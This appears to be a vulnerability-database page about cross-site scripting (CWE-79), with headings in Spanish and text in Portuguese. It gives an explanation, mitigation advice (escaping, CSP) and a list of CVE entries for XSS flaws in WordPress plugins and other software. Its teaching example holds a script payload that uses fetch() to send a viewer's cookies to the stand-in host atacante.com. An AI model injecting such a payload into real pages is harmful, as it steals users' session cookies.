Fallos del tipo CWE-79

29.631 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-4666MEDIUMBorderless - Widgets, Elements, Templates and Toolkit for Elementor & Gutenberg <= 1.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%CVE-2024-45153MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-80426HIGHFiftyOne before 1.21.0 Stored Cross-Site Scripting via Unescaped Field DescriptionEPSS 0.4%CVE-2023-5233MEDIUMFont Awesome Integration <= 5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-33866MEDIUMAn issue was discovered in linqi before 1.4.0.1 on Windows. There is /api/DocumentTemplate/{GUID] XSS.EPSS 0.4%CVE-2024-11788MEDIUMStreamWeasels YouTube Integration <= 1.3.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-5125MEDIUMContact Form by FormGet <= 5.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-47847MEDIUMVarious XSSes found in CargoEPSS 0.4%CVE-2023-29427HIGHWordPress Amelia Plugin <= 1.0.75 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-45366HIGHWordPress Slimstat Analytics Plugin <= 5.0.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-25582MEDIUMModule savepoints could be abused to inject references to malicious code delivered through the same domain. Attackers could perform maliciouEPSS 0.4%CVE-2024-8657MEDIUMGarden Gnome Package <= 2.2.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-56379MEDIUMA stored cross-site scripting (XSS) vulnerability in the blog post feature of ERPNEXT v15.67.0 allows attackers to execute arbitrary web scrEPSS 0.4%CVE-2023-5232MEDIUMFont Awesome More Icons <= 3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-27494MEDIUMStreamlit Cross-site Scripting vulnerabilityEPSS 0.4%CVE-2026-61824HIGHDefuddle: XSS via unescaped attribute interpolation in site extractorsEPSS 0.4%CVE-2023-38392HIGHWordPress Custom Field Template Plugin <= 2.5.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-8141MEDIUMSourceCodester Daily Calories Monitoring Tool add-calorie.php cross site scriptingEPSS 0.4%CVE-2024-20799MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-49782HIGHCross-Site-Scripting vulnerability in error message passing in richdocumentscodeEPSS 0.4%